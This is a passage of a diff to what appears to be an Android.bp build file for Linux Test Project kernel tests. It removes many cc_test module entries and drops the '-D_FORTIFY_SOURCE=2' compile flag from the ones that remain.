-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_keyctl07",
-    stem: "keyctl07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/keyctl/keyctl07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_frag",
-    stem: "frag",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/fs_di/frag.c"],
-    cflags: [
-        "-D_FILE_OFFSET_BITS=64",
-        "-D_LARGEFILE_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_process_vm_writev02",
-    stem: "process_vm_writev02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/cma/process_vm_writev02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ptem01",
-    stem: "ptem01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/pty/ptem01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genfrexp",
-    stem: "genfrexp",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/exp_log/genfrexp.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_capget01",
-    stem: "capget01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/capget/capget01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_rt_sigtimedwait01",
-    stem: "rt_sigtimedwait01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sigwaitinfo/sigwaitinfo01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DTEST_RT_SIGTIMEDWAIT",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_capget02",
-    stem: "capget02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/capget/capget02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mbind01",
-    stem: "mbind01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mbind/mbind01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/utils",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_fanotify03",
-    stem: "fanotify03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fanotify/fanotify03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fanotify02",
-    stem: "fanotify02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fanotify/fanotify02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pread01",
-    stem: "pread01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/pread/pread01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/pread",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fdatasync02",
-    stem: "fdatasync02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fdatasync/fdatasync02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fanotify08",
-    stem: "fanotify08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fanotify/fanotify08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_safe_macros",
-    stem: "tst_safe_macros",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_safe_macros.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_memcg_test_2",
-    stem: "memcg_test_2",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/memcg/regression/memcg_test_2.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clock_gettime03",
-    stem: "clock_gettime03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/timers/clock_gettime/clock_gettime03.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/timers/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clock_gettime02",
-    stem: "clock_gettime02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/timers/clock_gettime/clock_gettime02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/timers/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_timer_settime03",
-    stem: "timer_settime03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/timers/timer_settime/timer_settime03.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/timers/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execv01",
-    stem: "execv01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execv/execv01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_clock_settime02",
-    stem: "clock_settime02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/timers/clock_settime/clock_settime02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/timers/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_timerfd01",
-    stem: "timerfd01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/timerfd/timerfd01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genasin",
-    stem: "genasin",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/trigo/genasin.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_timerfd03",
-    stem: "timerfd03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/timerfd/timerfd03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_timerfd02",
-    stem: "timerfd02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/timerfd/timerfd02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmstress_dummy",
-    stem: "mmstress_dummy",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mtest05/mmstress_dummy.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execv01_child",
-    stem: "execv01_child",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execv/execv01_child.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_timer_create02",
-    stem: "timer_create02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/timers/timer_create/timer_create02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/timers/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_symlink03",
-    stem: "symlink03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/symlink/symlink03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_net_iface_prefix",
-    stem: "tst_net_iface_prefix",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/lib/tst_net_iface_prefix.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_stack_clash",
-    stem: "stack_clash",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/cve/stack_clash.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-        "-Wno-infinite-recursion",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mlock04",
-    stem: "mlock04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mlock/mlock04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmapstress01",
-    stem: "mmapstress01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mmapstress/mmapstress01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mlock01",
-    stem: "mlock01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mlock/mlock01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fptest01",
-    stem: "fptest01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/fptests/fptest01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fptest02",
-    stem: "fptest02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/fptests/fptest02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mlock02",
-    stem: "mlock02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mlock/mlock02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmapstress09",
-    stem: "mmapstress09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mmapstress/mmapstress09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mmapstress08",
-    stem: "mmapstress08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/mmapstress/mmapstress08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_futimesat01",
-    stem: "futimesat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/futimesat/futimesat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_openfile",
-    stem: "openfile",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/openfile/openfile.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_inotify05",
-    stem: "inotify05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/inotify/inotify05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_inotify04",
-    stem: "inotify04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/inotify/inotify04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mknod03",
-    stem: "mknod03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mknod/mknod03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_process_vm01",
-    stem: "process_vm01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/cma/process_vm01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_inotify01",
-    stem: "inotify01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/inotify/inotify01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mknod04",
-    stem: "mknod04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mknod/mknod04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_inotify03",
-    stem: "inotify03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/inotify/inotify03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl31",
-    stem: "fcntl31",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl31.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mknod09",
-    stem: "mknod09",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mknod/mknod09.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mknod08",
-    stem: "mknod08",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mknod/mknod08.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cap_bounds_rw",
-    stem: "cap_bounds_rw",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/cap_bound/cap_bounds_rw.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_timer_create04",
-    stem: "timer_create04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/timers/timer_create/timer_create04.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/timers/include",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_write05",
-    stem: "write05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/write/write05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl18",
-    stem: "fcntl18",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl18.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl19",
-    stem: "fcntl19",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl19.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_inotify_init1_01",
-    stem: "inotify_init1_01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/inotify_init/inotify_init1_01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_inotify_init1_02",
-    stem: "inotify_init1_02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/inotify_init/inotify_init1_02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl12",
-    stem: "fcntl12",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl12.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl13",
-    stem: "fcntl13",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl13.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl10",
-    stem: "fcntl10",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl10.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl11",
-    stem: "fcntl11",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl11.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl16",
-    stem: "fcntl16",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl16.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl17",
-    stem: "fcntl17",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl17.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl14",
-    stem: "fcntl14",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl14.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_fcntl15",
-    stem: "fcntl15",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fcntl/fcntl15.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/fcntl",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cve-2017-2671",
-    stem: "cve-2017-2671",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/cve/cve-2017-2671.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_getparam03",
-    stem: "sched_getparam03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_getparam/sched_getparam03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genatan",
-    stem: "genatan",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/trigo/genatan.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_getresuid02",
-    stem: "getresuid02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getresuid/getresuid02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_swapoff01",
-    stem: "swapoff01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/swapoff/swapoff01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sigpending02",
-    stem: "sigpending02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sigpending/sigpending02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/misc/math/abs/abs01.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
@@ -3399,1498 +186,60 @@
     stem: "accept01",
     defaults: ["ltp_test_defaults"],
     srcs: ["testcases/kernel/syscalls/accept/accept01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_write01",
-    stem: "write01",
+    name: "ltp_accept4_01",
+    stem: "accept4_01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/write/write01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/accept4/accept4_01.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_readv03",
-    stem: "readv03",
+    name: "ltp_access01",
+    stem: "access01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readv/readv03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/access/access01.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_readv02",
-    stem: "readv02",
+    name: "ltp_access02",
+    stem: "access02",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readv/readv02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/access/access02.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_tst_strerrno",
-    stem: "tst_strerrno",
+    name: "ltp_access03",
+    stem: "access03",
     defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_strerrno.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/access/access03.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_gensqrt",
-    stem: "gensqrt",
+    name: "ltp_access04",
+    stem: "access04",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/power/gensqrt.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_write03",
-    stem: "write03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/write/write03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
+    srcs: ["testcases/kernel/syscalls/access/access04.c"],
     local_include_dirs: ["include/old"],
     static_libs: ["libltp_ltp"],
 }
 
 cc_test {
-    name: "ltp_process_vm_readv02",
-    stem: "process_vm_readv02",
+    name: "ltp_acct01",
+    stem: "acct01",
     defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/cma/process_vm_readv02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_signalfd01",
-    stem: "signalfd01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/signalfd/signalfd01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sched_get_priority_min02",
-    stem: "sched_get_priority_min02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sched_get_priority_min/sched_get_priority_min02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_device",
-    stem: "tst_device",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_device.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_flock05",
-    stem: "flock05",
